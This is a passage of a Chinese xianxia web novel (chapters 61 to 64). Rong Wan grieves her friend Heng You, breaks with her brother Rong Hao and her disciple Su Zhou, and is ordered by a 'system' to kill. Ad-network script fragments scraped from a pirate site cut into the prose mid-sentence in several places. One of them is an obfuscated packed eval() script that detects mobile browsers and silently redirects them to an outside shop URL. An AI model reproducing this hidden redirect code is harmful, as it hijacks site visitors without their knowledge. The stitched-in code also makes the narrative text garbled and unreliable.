“你真的爱我吗?首座之位、党权之争,在你心里都比我更重要。就像此刻,我持剑杀你,你最在意这把剑是上因,而非我要杀你,不是吗?上因剑历来认首座为主,唯有你不得剑灵认可。容皓,你爱我的念头,排在权位之后。从前现在,你害怕我重持上因剑,成为上因之主,”容晚步步紧逼,说:“所以你爱我吗?” “我……爱?你。”容皓迟疑,是疑问,是回答。 “好,就算你爱我。我也可以爱你,你要么?。”容晚漾起最纯真的笑容,眸子却比三九寒霜更冷冽。 “你若爱我,我们……便能回到从前吗?” 透过容晚的眼睛,他看不见一分爱意,只有仇恨、痛苦、不忿……从什么时候起,她再不唤他哥哥。 容晚冲他冷笑一声,“会。但我要你放过夙昼和褚尽欢。” “他们与我为敌……”容皓犹豫道:“好。” “那——”容晚伸手去碰他的冠冕,指尖冰凉,冷金珠玉灼伤她,“我要你放弃三界共主之争。” 世间安得两全法。容皓挣扎着闭上眼,灵脉疯狂跳动,唇齿几经开合,什么也说不出口,“晚晚……” 容晚替他扶正冠冕,冷声道:“容皓你是不是觉得,还是不要爱我比较好。你不过又一次选了权位,而我再一次选了我自己。” “晚晚……”容皓声音染上祈求,“为你,为我们,我不得不争。” “你争。”容晚避开容皓,连他的影子也避之不及,“只是别带上我了。” 一点一滴细碎的元灵汇聚完整,零散一团,随风而乱。容晚用自身元灵去强撑衡游的神魄,能聚起一缕便是一缕,捧着衡游的元灵离去,乘风去仙祖洞府旧地。 “师父!容晚求见!” 最后一盏灵灯曾为向死而生的那个少年点亮,如今再无灵灯引路,容晚小心捧着怀中元灵,虔诚叩首,“师父!是我错了,您救救衡游……” 空旷的山野里,不见从前石阶。她捧着一团元灵,遍寻荒野。昼夜轮转,容晚声音减弱,“师父,我愿意用我的所有,换衡游一命。” “师父……” 遍寻不到,容晚在云端上静坐,晕染血迹的衣衫随风翻飞,衡游星星点点的元灵散在她周身,混杂着她伤口中散出的诡道禁阵,似是异色萤火诡异纠缠,如血色星河散落繁星。 荒野上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 风吹草长,微蓝色的光点渐渐汇聚,发芽,生根,无数灵弦草随风摇晃,在月光下更显明亮,似是丛野中的无数萤火。 “好多好多灵弦草,师父在为你送行。可是我不想你走。” 荒芜旷野唯听风声浅浅,人声淡淡。 “衡游,我知道你在。我早知道你去意已决,但我不敢问你,我怕我问了,你就真的走了。可是阿弥、阿弥她在等你回家……” 元灵四散,冲出束缚,一分不曾伤到容晚。如果这是一场告别,他想走了,他不要她留他。如果是一次相见,他在告别。 光点渐暗,夜幕之中只见天上弯月。这一刻,容晚不再容忍,泪湿满身,手忙脚乱地从灵境里翻出找找符,指尖颤抖着点了三次,三次未燃。 “符燃相见,你为什么不出来?”曾经共绘的符纸,彼此约定如今再不见赴约之人。 望着符纸,容晚久久未动。其上的简笔画是两个小墨人,其中一个小人忽然张牙舞爪地动起来,扬起一个大大的微笑。 容晚噗嗤笑出声。 纸间墨色黯淡,符纸无风自燃。容晚惊恐地去抓,忍住灼热烫意,紧紧攥住那团火焰,直至熄灭,她小心张开掌心,其间一片空荡。 最后一张找找符随风而散,却不烫手。 “还看?他不要你了。” 容晚闻声回眸,褚尽欢倚在云端里,岂不是将她方才情境皆看了去?她忽生恼怒,揪着他的衣襟问:“你早来了是不是?” “怕你死了。”褚尽欢忍住恼意,捏诀,容晚身上染血的衣衫洁白如雪。他攥住她的手,只一瞬,拂开,冷声说:“别忘了,你的命我来取。” “你知道他的死,你知道容皓有罪,而我与他同罪——”容晚身形一晃,跌坐云端。 “上仙真是自作多情,他死便死了,和我有关系?”褚尽欢抬起的手猛然收回,轻笑一声,转身离去,忽然,衣襟被人攥住,垂眸望见素白的手紧攥他的红袍。 “有关。他是阿弥的爹爹,也曾是你爱护的小师弟,我们的好友……””眼见面前人的眸中多出几分动容,容晚语气十分肯定,“你还有一盏灯未燃。师父给的灵灯。” “没有。”褚尽欢眸中动容荡然无存,冷冷盯着她。 “不可能,你只点过两盏,还未用尽。”容晚笃定说。 “没想到对我的事,上仙如此上心?”褚尽欢唇角含笑:“上仙找我借灯,若是想寻老头儿救衡游那厮的命?那我好心劝上仙不要白费力气。” “求你,借我一盏灯。”容晚祈求说:“你要什么都可以。” “吻我。”褚尽欢不知为何会提出这样的要求,见她神色挣扎,冷声道:“逗你的。” “你——”容晚不明所以。 “若是上仙从前这般说,我什么都可以给你。可惜……”褚尽欢目光冰冷地射向她:“现在不行,真的不行。”他语气渐软,整个人慵懒起来,心情颇好。 “为什么?”容晚问。 “因为于我而言,他的命不值一提。” 等过许久,容晚未曾出声。褚尽欢思及是否话中语义太过伤人,可所说即所想…… 余光望去,容晚早已松开他的衣襟,身影不再。褚尽欢眉目间亦有苦楚,自嘲一笑,随即转身而去,红衣的衣襟仍然半敞开着,他未曾束发,赤足而来,赤足而去。 如此匆匆。 62. 弃我去者 书灵阁中有一颗桂花树,树茂参天,已有一千六百岁树龄。一瞬之间,树死叶枯,碧绿树叶纷纷而落。树下仙人深情哀痛,倚树而哭。 “仙长,对不住。”容晚朝衡廷肃一跪,俯身久久不起。她眼中湿润,不知再说什么。 同衡游生死之交,同学、同乐,数千年来时时相见。衡游理解她的信仰与抱负,支持她所想做的一切。不论她选择哪一条路,总是坚定地同她站在一起。 他们是挚友,对彼此是挚友之爱,惺惺相惜。正如他会为她炼药求药,救她所救之人。容晚亦会支持他的一切,尊重他的选择,是三界内唯一支持他与褚空月婚事的那个人。 “早知有今日,我早知有今日。”衡廷肃倚着树身坐下,老泪纵横,“吾儿所诞之年,此树新芽,迄今一千六百年整。上仙可明白了?” “他的千六诞辰不是……已过了吗?”容晚呆愣住,愕然抬起头。 “吾善卜卦,知吾儿寿数,遂栽此树,欲与命数抗衡。可惜——见上仙如此惊诧,想来是吾儿曾虚报寿数,如今反惹上仙伤心了。” 虚报寿数,以换她开心? 当年他俩被一老儿算命,直言他俩都不过一千六百岁。衡游生气,留下一句“我今年一千四百岁,你且看我活不活得过一千六”,扯着容晚便走,叮嘱她莫要被骗子扰了心神。 起先容晚不信,殚精竭虑,直到庆过衡游一千六百岁生辰,他们小心翼翼吹过蜡烛,分过一碗长寿面,无事发生。她才真正相信当年所说不过是假言假语。 “我会为他复仇。”容晚说。 “哪怕代价是弑杀首座?上仙会冒三界之大不韪,落一个残害兄长的名声。” “我……”容晚犹豫,视线落下来,那枚弯月玉佩一晃而过。 “他不需你复仇。”衡廷肃笑道:“此玉有两枚,他曾说赠妻儿,妻死便赠上仙。” “仙长莫要误会——” “吾知你俩是此生挚友,他对你有意,你对他有情,但绝不是男女之爱。”衡廷肃坦言说:“吾当然怨恨上仙,吾儿自辞仙籍、殒命上因,同上仙脱不了干系。” 容晚失言,只能俯身再叩首,久久不起。 无风时,更能叫人听清叹息。 一双枯老的手伸至面前,容晚顺着手的力道起身,惊觉衡廷肃已垂垂老矣。 “可吾知,吾儿之死,上仙无错。同那魔女成婚,承那魔女未竟之业,反攻上因,是他自己种的因,如今果也该他自己偿。”衡廷肃几近站不稳,他身形渐渐佝偻,长发枯燥泛白。 “那日禁狱,上仙为他与首座反目,散自身元灵聚我儿元灵,寻仙祖,叩仙府,昼夜未歇……甚至去求那杀人如麻的戮君,他不能怨上仙,吾亦不会。” 容晚忽然出声道:“我会为他报仇。” “上仙怎能?”衡廷肃昏暗的眼睛里生出一点光,又惊又怕。 “我会手刃容皓,为他报仇。哪怕……三界皆知我残害兄长。”容晚终是下定决心,无视系统紧张的警告声。 低沉的笑声传来,衡廷肃冷哼一声,说:“吾儿死得其所,他犯下大错,既已自食其果,上仙莫要再多事了!此事首座无错!” 明明眼里是难忍的泪意,连发声吐息都是痛楚,可为何衡廷肃要如此这般说。容晚难以置信,“您说容皓没有错?” “首座永远不会错。”衡廷肃眸中痛楚激得双目血红,他声嘶力竭道:“首座何错之有?吾乃衡游之父,一生清明公允,唯他是我大耻,辱我门楣,死得其所!” “你住口!”再也不能顾及那是他的父亲,容晚染上怒意,可剑至他颈前,终是堪堪停住,她压着收剑的灵力反噬,哽咽说:“衡游没错。” 泪意漫上眼眶,容晚倔强地重复道:“他没错。他已自辞仙籍,随阿意入落乌,为妻为母反攻上因。仙长唯容皓马首是瞻,便觉得他错了。可是——” “他没错。他为了不牵连您,辞仙籍。为了护幼女,领兵攻上因。”容晚气极生笑,依然敬他,道:“是啊,您善卜卦,难道不知落乌必败吗?您未曾有一分一毫想要保他吗?如今,反倒口口声声说他错了,怎就成他该死了呢?”终究敬他是衡游之父,容晚收剑,手抖着发麻,心中更痛,呼吸几乎停滞住。 衡廷肃隐有动容,只一瞬,便怒目盯着容晚,怒道:“上仙也是大错特错!叛我上因,祸乱三界,三界战乱因您而起——您要扶持的那位共主,做不了共主!哈哈哈!” “什么?” “三界归一?三界共主?都——”衡廷肃面目狰狞,纵横的皱纹一瞬间加深,分裂。 轰—— 天罚齐落,一道道巨雷直劈书灵阁,碎石迸溅,草木翻飞,亭台楼阁化为碎土。几乎是同时,容晚绘阵结印,巨大的白色幻影浮现上空,罩住整个书灵阁。 巨雷一道道直劈,衡廷肃横死,化为尘烟,那颗枯死的桂花树轰然倒塌。 顷刻间,亭台楼阁一如往昔,繁茂的桂花树又在眼前,好似一切都未曾发生过,唯有衡廷肃不在。 这样的情形太过熟悉,容晚想起那处虚无的系统空间,是因为衡廷肃不重要吗,所以泄露天机,便要天罚加身,非死不可。 凭什么? 【他寿数已尽,本就是今日】系统幽幽道。 “本就是?不都是你的话本吗?”容晚冷声道:“既如此,接下来,我就要撕碎你的话本,一步一步往前走。” 【你不见他,他亦会死于树下。命数在此,正如衡游——】系统第一次害怕她的怒意。 “住嘴。”容晚眸光落向那颗繁茂的桂花树,其间豆大的颗粒,泛着星星亮亮的微光。她问:“那是什么?” 【桂花树种】 容晚怔愣着望了许久,馥郁的芳香沁人心脾,她忽然走过去。那是与他同寿的树种,为什么他死了,你还活着? 【你要做什么?】 未用灵力,未使器物容晚攀着繁茂的树身,顺着粗壮的枝桠,用手去摘一粒粒的桂花树种。 一捧又一捧,她下意识地揣进怀里,直到溢出来,才想起可以存于灵境。 直到薅尽所有的树种,容晚乘云落入人间界。 阳光斜斜洒下来,碧草芬芳,羊肠小道通往密林深处。容晚身着白衣,怀捧灵弦草,指尖勾着一坛桃花酿。 “衡游,我们现在有很多很多灵弦草了。当年你改良的灵弦草这些年也长成了,留下好多好多种子,我分给了许多人,这样,灵弦草不再是珍贵的灵药,人人都能用得起。” 容晚眼中盈泪,说:“就是便宜了点,现在灵弦草不值钱啦!还有你的药草名 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 录、丹籍炼术、灵药方册,对了还有那本我都认不全的画册,我已经托了好多好多人,最终会修订成书。这个世界的很多人,都会永远记住你的名字。” “以后得很多很多年里,谁都会记得你。” “这样的话,你可不可以原谅我?”容晚灌了一口酒,歉疚道:“原谅我无法长久地照顾阿弥,我想……” “你一定会原谅我。” “我只是没有时间了。” 困意渐渐浮上心头,容晚倚着衡游的墓碑闭目,她轻轻呢喃着,“我会将毕生所学全教给阿弥,比教给夙昼的还要多,你放一万个心好了!” 朝阳将落,浅浅的蓝从天边蔓延,染得容晚衣裙泛着金光。 夜色落下的第一瞬,容晚睁开双眼,微微侧头,冲衡游一笑,“走了。” 这一眼,容晚望得那么深,又那样浅,浅到风吹叶响,露水尚未滴落,人影不见,唯有那般茂盛的灵弦草随风摇曳。 桃花酿尚在碑前,饮酒的人不再。 - 东州境内,大雪落湍流,骑兵临境,正欲飞渡。 夙昼身着玄铁铠甲,侧目望向可杀鬼神的三界湍流,回身问道:“众将可欲随我攻伐落乌!先攻落乌再攻上因,一统三界!” 众人齐喝:“愿!愿!愿!” 雪势渐大,夙昼身骑黑马,肩上落雪纷纷,静静地望了一会,低声道:“渡江。” 此去一渡,纵有法宝阵印相护,仍难免死伤。而湍流对岸,即是落乌大军,此战,褚尽欢亲征,胜负难分。 “看天!快看天!”军阵中迸发激烈的叫喊声。 透过漫天白雪,夙昼闻声抬眸,入目是一道雪白身影,手中提剑,淡然地望向他,眸中无悲无喜。他忽然有些怕,莫名的恐惧让他不敢出声,亦不敢再看,避过她的目光。 容晚飞身而下,手中是出鞘之剑,执剑向夙昼而来。 听见暗卫的兵刃出鞘之声,夙昼轻抬手,暗卫隐去身形。布下结界后,他问:“师父,我很想您。” 容晚,我很想你。 自从那日吻过再吻后,他不敢明目张胆地见她。曾偷偷摸摸地见过她,也曾去过她窗下,走在过她身侧,甚至,一而再再而三地动用梦兽。 事已至此——夙昼几乎向她缴械投降,语气示弱说:“师父,我……” “如若我要你收兵,永不攻伐落乌,你会如何?”容晚淡淡地望向他。 “那——”夙昼苦笑说:“我会听话。哪怕负我身后百万大军,哪怕负你,负我们从前所立的天道契……”夙昼身上似乎又有年少时的脆弱和无奈,“可正是要听话,听你的话,所以我不能答应你。” 夙昼扬起手指,指尖的两点光亮缠着两道血色,薛沐的死带来第一道血色,衡游的死带来第二道,:“这是我们昔年共同立下的誓言,只是为你,我能舍弃,可他们呢?” “你依然想让我舍弃吗?”见容晚默默垂下眸光,夙昼失言,静静地等着容晚说话。 “我只是不想再看到任何人死去了。”好半响,容晚回身而去,却听见身后夙昼一声呼喊:“容晚,我绝不背弃诺言,为人间大业。死伤难免……” “可是我要背弃了。”容晚笑了笑,转身跳入三界涡流,像一只孤傲的凤凰,最后一曲凤鸣。 63. 弃我去者 漆黑的水底不见阳光,容晚入水后,呛过一口水才捏诀避水,她带着那股窒息的感觉往水底潜去。 重重水浪下,是一座隐世的城池。 白咒城。 第一瞬,她只记得这是夙昼同她争吵的缘由。就在不久前,又似乎过了很远。冰冷的水浪一圈圈打在她身上。容晚吸了一口气,往下潜。 被水包裹的感觉,比天罚加身还令她恐惧。容晚上一次下水,还是在黑水湍流间捞起夙昼。 那时候,他眼睛里是一片黑暗,望不见一寸光。 落在白咒城的一瞬间,血红阵印轮转,繁复的咒印自容晚脚下扩散,速度极快,几息之间,入目便都是血红。 等听到身后的声音,容晚沉默了片刻,指尖萌生出淡淡一点白光,阵印轮转的瞬间,身后那人出声了,“你要插手了,对吗?” “我早就插手了,不是吗?从一开始,从那个雪夜起,我就已经插手了。”容晚听见他声音里的碎意,强忍着不曾回头,“这一切该结束了,越快越好。” “您后悔了?后悔救我?后悔教我?后悔护我?爱我?”夙昼心跳停了一下,他将所有即将溢出口的疑问吞下,只是往前、往前走了一步,停在与她相近的距离。尽管心里知道不该这样做,他还是如此做了。他闭上眼,以极其小心的、颤抖的姿势拥住她。 双手交叠着放在她腰间。他不敢将下颌抵上她的肩膀,哪怕他心里想这样做。 “阿昼,什么是爱?”容晚没有挣扎,却也没有倚在他怀里,相反,她站得很直,身后人的心跳声如擂鼓,又被他压下,似是怕激起她的不悦。 不曾见面的日子里,容晚想过很多,见面时要问些什么?是要谈褚空月,还是告诉他衡游的死因,又或者谈谈他们两个。 此刻,她却什么也说不出口。明明身处水底,她却又闻到那股浓烈的、馥郁的、酸涩的味道,舌尖心口全被柑橘塞满了。 容晚动了一下,她手覆在夙昼手上,再没有挪开。她开始放松自己,绷紧的身体便随着水波倚在他怀里。他是温热的,没有什么回应,只有轻微的呼吸、猛烈的心跳。 应该推开他。 阵法在容晚掌下流动,夙昼松开了手,他静默地站在原地,没有强硬地回抱她。 “这里是白咒城,你想来已经知道了。” “是。” “你也知道阴阳两城,阴为此间,阳为落乌,以此为挟,褚尽欢必输。” “是。” “你更知道血灵出世,生灵涂炭,你我都会是罪人。” “只是我,与您无关。” 容晚闭了下眼睛,她明明不想质问,可若是再不问,再不做些什么,夙昼会酿成滔天祸事。她平静地开口,像是在讲述一个睡前故事,“我和衡游……找过许多地方,一直没想明白你会把血灵豢养在何处。血灵嗜杀,所在之地必将灵力紊乱,不见天日。我不得不说,这里是个好地方。” “我必须这样做。”夙昼双臂拥住她,再无顾及,事已至此,他所有的心事心绪全部暴露,但说不出口。 关于过去种种,一句解释也说不出口,所有的选择是激进的。为了尽快攻下落乌,杀褚空月。为了七日内攻上因,他欲以血灵开战,哪怕战事惨烈,亦只是求快。 “师父。”夙昼终于有勇气,将脸埋进她颈间,玉珠耳坠冰凉,抵在她和他之间。声音闷闷地传出,“我没有时间了。” 灵台审判,三界大乱,倘若我护不住你? “你若执意如此,我会领兵上因,反攻落乌。”容晚回握住他的手腕,指尖扣上他的灵脉,种下一道咒印。她从不以阵印约束他,唯有这一次。只会有这一次。 “血灵咒?我若用一次血灵,便损身一分?”夙昼任由她种印,这样的印记会给他一种错觉,他们是互相联系着的,他们的一切是互相交织、不可分割的。 夙昼喃喃道:“那又如何呢?” 眸中隐隐泛起血色,夙昼的声线幽远而空灵,“容晚。” 容晚的眸光渐渐涣散,关于家的记忆在眼前飞速轮换,落落涧的夏日青荷……父亲兄长教她御剑…… 虚无缥缈的光雾之间,他看见她的家,她的迷惘,她的渴求和欲望。 以及她不爱他。 夙昼拥抱着她,在灵力撕扯碎人神魂的三界涡流里护她安稳,好似只是在平静的湖底,好似他们只是在欣赏古老瑰丽的城池遗迹。 “容晚。”夙昼又一次唤她的名字,感受到她的清明,将自己埋进她怀里。 泪意泛光亮。 - 落乌云雾缭绕的上因宫。听过容晚的要求,容皓莫名害怕,害怕她孤注一掷,害怕她心如死灰,与他鱼死网破。几番确认她的来意,容皓失笑道:“所以——” “你想领兵上因?然后输给他?”容皓闭上双眼,按捺住所有的不甘和怒意,柔声询问:“我最后、最后问你一次,你非要同哥哥作对吗?” 容晚望他一眼,不答。 “既如此,哥哥纵容你这么多年,再纵你一次又何妨。只是晚晚,若是夙昼输了,你会替他争吗?” 容晚眉目间有所动容,“我不想争。” “所以你会替他争。所以——他在你心里,比哥哥重要?” 目光渐渐冷漠,容晚将上因剑还给他,“我说不重要,你信吗?” 那把剑轻如鸿毛,容皓任由剑落触底,金石之声入耳。容皓唇边含笑,“你还记得小时候答应哥哥一件事吗?” 容晚心有疑惑。小时候?不记得。 “晚晚。”容皓扬起尾指,白光闪现时,容晚的一指同样闪烁着。 怎么会?她怎么会同容皓结过天道契? “晚晚,这一契……我如你所愿,回上因,领兵攻伐落乌,杀夙昼。” “何必呢?” “你叫我几分心痛,我便也让你感受几分,如何?”容皓笑道。他俯身捡起上因剑,握着容晚的手,一根一根分开她的手指,好让她拿稳这把剑。 “我早已没有痛觉了。”容晚说:“何况,我已违过天道契,再违一道罢。” “很好!”容皓不再逼她,任由上因剑“锵”得一声坠地,他想要躲到无人处,却偏偏无处可躲。 容晚对他再了解不过。 此时此刻,容皓分明是气急败坏,却又将自己装在那副首座的端正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 壳子里,连脾气也发不出。 空气中的静默,像是时间停滞一般,忽然,一道抬高的声音炸在她耳边。 “你以为我还是在试探你吗?你以为我还是在用假象骗你吗?” 容皓灵气化刃,割破尾指,任由鲜血流淌,侵染如雪长袍。 “这一契,”容皓见容晚略有轻松,盯着她,字字如刀,“我要你杀了夙昼!” 容晚禁不住笑道:“没有人能杀了他。容皓,他真的死了,我不会怕。可若他不会死,你怕不怕?” 容皓垂眸望她,眉间戾气再遮掩不住,他指尖流出的鲜血,顺着灵脉联系,一滴滴汇向容晚指尖。他强势地执起她的手,唇间微微笑着,眸中似有一瞬不舍,这份不舍转瞬即逝。 “不,他一定会死的。”容皓划破她的手腕。 灵血汇入灵脉的感觉,像是一只只蚂蚁顺着一根树枝,爬过又爬,永不停息。 天道契已成。容晚深知。体内的诡道禁阵总是让她不能对抗他,受他压制。 疯狂的警告声冲入容晚脑中,错乱缤纷,叫人癫狂。容晚骤然失力,猛然坠落。 【警报:系统作出第十次违规通报,剩余零次】 【警报:系统错乱,任务交错崩坏中】 回眸一望,不见容皓,什么也不曾看见。 再往远处,她好似望见落落涧的亲人好友,那里的夏日冬雪,还有那时的她自己…… 【警报:任务冲突警告】 “爹爹——” “哥哥——” 【警报……】 美景幻化成虚无,彩色碎片骤然破散,随风散去。容晚追逐着消散的虚影,唤道:“爹爹——我想回家!哥哥——我想回家!” “我想回家——” 【警报:十次违规操作超额,强制抹杀中】 刺痛,深入骨髓的刺痛,容晚猛然惊醒。她拼命地向前奔跑,拼命地叫喊:“不可以!不可以!我还没有回家……” 鬼魅如白气,纷纷绕绕,容晚躲不开,挣不脱,渐渐失去力气,颓然躺在地上,灵气自七窍喷涌而出。 双目渐渐失神…… 【警告……】 【公告:系统修复……】 【警告:系统报错——】 【警告!警告!】 “哔——” “哔——哔——” 【公告:此次系统崩坏修复成功】 宛如死人的容晚猛然睁眼,身在一片迷惘的虚无中。周身是四绕汇聚的灵气,灵气入体,她心神自然便定了。 【系统崩坏补偿:帮助反派涅槃重生,您就可以回家了】 “如何助他?” 系统冰冷的声音响起:【杀】 容晚弯唇冷笑,惊问:“杀?你要我杀了他?” 这些年全部的希望瞬间破碎,她心乱如麻,喃喃道:“这么多年了,你要我爱他护他教他扶持他。可如今……你要我杀了他?在你的设定里,还当我是人吗?” 她在呢喃,既是不甘地呐喊,也有破碎的绝望,任由自己沉溺在那一方白色的虚无中,双眸紧闭,身躯不安地颤抖着,终是坠落在地上。 64. 弃我去者 时间恢复流淌的瞬间—— “晚晚。” 容皓满是怜惜,轻轻拥住她,像儿时的每一次般拍着她的脊背,呼唤说:“晚晚,哥哥没有真的要你杀了他。如果……” 他似是下定决心一般,缓缓开口:“如果你这样喜欢他,这样珍重他的性命,那我可以允许。” “我不想。”容晚眉目痛楚,声音破碎地连不成线,“我不想杀他。可是……可是我真的、真的好想回家啊。哥哥……” 这一声容晚唤的是容朝,她不在此间的兄长。 如今落入容皓耳中,他只觉心痛,悔恨自己不该如此逼她。 “晚晚,我可以放过他。”容皓拥紧她,下巴轻轻抵在她额间。 数十年来,他在容晚身上种下的诡道禁阵,在此刻第一次停止流转。 诡道禁阵离开容晚体内,雪白的灵气四溢,随即——灵脉雾化,灵血四散。 怀中身影渐渐虚散,容皓再也揽不住,惊道:“怎么会?” 眼见容晚的生命在他怀中流逝,容皓犹豫再三,痛下决心,逆转解阵之法,再种禁阵。 诡道禁阵,上古禁术,如今再种一次,只是折磨她。 “纵是哥哥不忍你痛,可是晚晚,如果你醒着,你也一定更想活下去,对不对?”容皓强势地种下阵印,一道一道,比从前所种更繁复。 阵印入体,容晚灵气聚体,面色渐渐红润。诡道每多种一道,容皓与她的联系便再多一分。 一切结束时—— 容皓环拥着容晚,让她靠在自己怀里。他拥着她,随意地坐在玉阶上,一偏头,容晚的呼吸喷洒在他颈侧。他握着她的手,指尖自始至终覆在容晚腕间. 灵脉微弱跳动,他察觉到一丝不同以往的血息。容皓轻抚她的面容:“晚晚,是谁同你灵血交融?是夙昼?还是别的谁?哥哥一向不懂,你为何偏偏要护着他?你能告诉哥哥吗?” 四时无人声,鸟雀轻盈飞舞,流水叮咚,织就盛景。 久久。 容晚张了张唇,吐不出声音,连指尖也无法动弹,感受到灵脉中的诡道禁阵,一波一波涌着灵力与血息。 “恨我了?”容皓放松拥她的力道,柔声说:“恨我吧。” 上因宫的雾气缭绕,此时慕然散了。 腕间的血痕尚在,那一道血痕划过银月印记、划过天道契印,狰狞般撕碎所谓的天道契约。容晚强忍着起身站稳,同他拉开距离,淡然看过一眼,冷冷道:“我原谅你对我的所作所为,只是对我。” “你知道自己在说什么?” “当然,我们再无关系了。”容晚环抱双臂,感受着体内禁阵划过的碎片,血息灵脉间,似是无数白诡火流淌。 给她续命的东西,也要她性命。 “活着。” 听见容皓如此说,容晚抱紧自己,决绝地离开,任禁阵碎片自腕间伤痕溢出。 “没有人能掌控我。”她强硬地告诉自己,冷眼相看上因缥缈不可触碰的云雾,远处的望春山常年落下的积雪。 思绪比回忆要长,容晚还记得容皓登上首座之位那年,她立于高台下,将上因剑捧给他,折腰低眉,逼得众仙俯首叩拜这一位名不副实的首座。 胜利的前提是两位炙热人选的退出。一位服了致死剂量的安思丸,而另一位无视规则冲向高台上性命危在旦夕的好友。 安思丸致人梦死,又似熟睡一般。那日宾朋满座,两位不争者早已许下诺言,狼狈的人却亮出獠牙,咬向最亲近的人。 直到容晚醒来,衡游握着她的手腕,一遍遍下针引出夺命的药,上因剑强势地守在她身旁,而容皓手上,是被上因剑意灼伤的伤痕,鲜血淋漓。 是眼泪先漫上来的,那一天,她舍弃了上因剑,将三界心尖所向的首座之位让出去。后来几百年的荒唐、战乱,拜容皓所赐、拜他们所赐。 再之前,似乎是一个缥缈的幻境。四季有时,夏日最为灿烂,那是梦里的家吧。她怎么会有家呢?怎么会有一个不在此间的家? 这一切都是玩弄,所谓系统的作弄,所谓回家的骗局。 “那不再是希望了,是虚妄中易碎的泡沫,是这一切的终结?”容晚歪着头,上因剑早已被她丢弃,仍在上因宫门前,那块冰冷的玉阶上。 “如果一切终将结束……”容晚更加用力地拥紧自己,望春山的雪意吹拂,垂眸望见三界战火绵延,但见焦土。 沿着黑水湍流的分界处,战火如长龙奔驰,被攻下的城池极速地亮起烽火台上的白色灵灯。这灯,从前褚尽欢点的皆是红色。 容晚夜闯落乌王城,未伤一兵一卒,再熟悉的宫殿中找到阿弥,静坐许久。 小姑娘长势喜人,如今形貌停留在十来岁,原来褚空月曾压制阿弥于腹中十年有余。那该是战前的许久了,那时,他们都知道迟早有一战。 听着小姑娘舒缓的呼吸,容晚忽然落下一滴泪,砸在阿弥的眼皮上。她轻柔地拂去,指下的睫毛微闪。 “姑姑,你哭了。”阿弥睡眼惺忪,轻轻拥住她,视线低垂,却发现容晚腕间的狰狞伤痕,阿弥惊呼道:“姑姑,你的伤口里在洒星星,你痛不痛?” 诡道禁阵的白色光点四溢,容晚不再允许禁阵的存在。“不痛,姑姑来接你回家。”容晚柔声说。 暗处的声音传来—— “戮君有令,上仙只可探望小小姐。” “戮君另有口诏:上仙所为牵涉众多,不要牵涉旁人,害死不该死的人。” 一语中的。一击即中,狠狠敲在容晚心上。 暗处的声音不再伪装,褚尽欢的声音传来—— “今日你敢带她走,信不信我把你们俩一起拴在落乌,饿死算了。” “你这里并非好去处。”容晚一件件替阿弥穿外衣,面前出现的君首神色恶劣,说话歹毒,小姑年不听为好。容晚捏起昏睡诀,阿弥睡得更熟,穿衣挽发便更麻烦了。 “难道你带走便是好去处了?”褚尽欢见她不便,坐在床侧轻轻抱起阿弥。 容晚苦笑了一下,摇头,“也不是。你会输,而我无法长久地照顾她,我们都不是好归处。” “为什么?”褚尽欢略微垂眼,殿中烛火映照,只望见容晚晦暗不明的神色。她似乎被抽空灵魂,只剩一副躯壳,却又比磐石还坚韧。 容晚不答。 “如此笃定我会输、会死去吗?”褚尽欢扣住她的手腕,惊觉她的灵脉不再跳动,其间灵力游走循环,但仅仅是循环。 不会再生的一身灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941832|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,力竭则空,空则死。游走的诡道禁阵,散尽则命尽。而眼前的女子毫无挽留的意思,她强势地清空体内的禁阵。 “放手!”容晚挣了又挣,不悦道:“你放开!” “不放又如何?”褚尽欢挑衅地望向她,掌下灵力源源不断地汇向她,直至他体内如海的灵力成空。 颤抖着,她疯狂地颤抖,在察觉到褚尽欢的意图时,凉、冷、寒,所有莫名奇妙的情绪齐齐涌向她。她慌张地站起身,扶起阿弥—— 褚尽欢强硬地攥着她的手腕,道:“不差一日,明日再走。” “然后再给我一回灵力?”容晚反问:“你不必如此,你不欠我。” 褚尽欢沉默片刻,他眸中闪出晶亮的光,势在必得地要求说:“容晚,你曾欠我一个五指成契的承诺。” 感受着心脏中的疯狂挣扎,这个承诺真的用于此吗? 原是想日后逼她活下去,可惜……罢了,从她这里得来,总是用在她身上。 “容晚。自今日起,无论你在何处,无论我在何处,你我日日相见,不可逾期。” “你疯了?”容晚怒喝。 褚尽欢攥紧她的手腕,心尖精血涌向她,容晚腕间的被血痕横亘破坏的月形契印发红、发烫。他声似诱哄,又如允诺:“你我日日相见,十二时辰为期,一日不可逾。” “记住了吗?”直至印记恢复如初,覆盖在那道血痕之上,褚尽欢松开她,居高临下,指尖摩挲着她腕间印记,“今日你我已见,明日子时前,再晚……死了别向我讨债。” 从未想过,有朝一日,他们会因一个契约绑在一起,日日相见。 “我若赶不及呢?”容晚问:“天大地大,我……” “那是你的事!”褚尽欢不知为何怒从心起,甩给她一块玉牒,冷声道:“你别以为我会有闲心,时时刻刻盯着你、跟着你。” 他莫名奇妙地负气而去。 “眼下可有侍女?”容晚收回眸光,神色冷淡地问。 “在。” 暗处走出两名侍女。容晚妥帖地询问阿弥如今的喜好习惯,将阿弥的零食玩具一并收好…… 半个时辰后,容晚骑着墨色麒麟兽离开落乌王城,怀中抱着熟睡的阿弥,向着仙祖洞府直奔而去。 路途中,阿弥惺忪地睁开睡眼。 “姑姑,我梦到爹爹了。”阿弥埋在她怀中撒娇,“姑姑,你是娘亲吗?” “为什么这么问?” “爹爹从没和我提起过娘亲,别人也没有。” 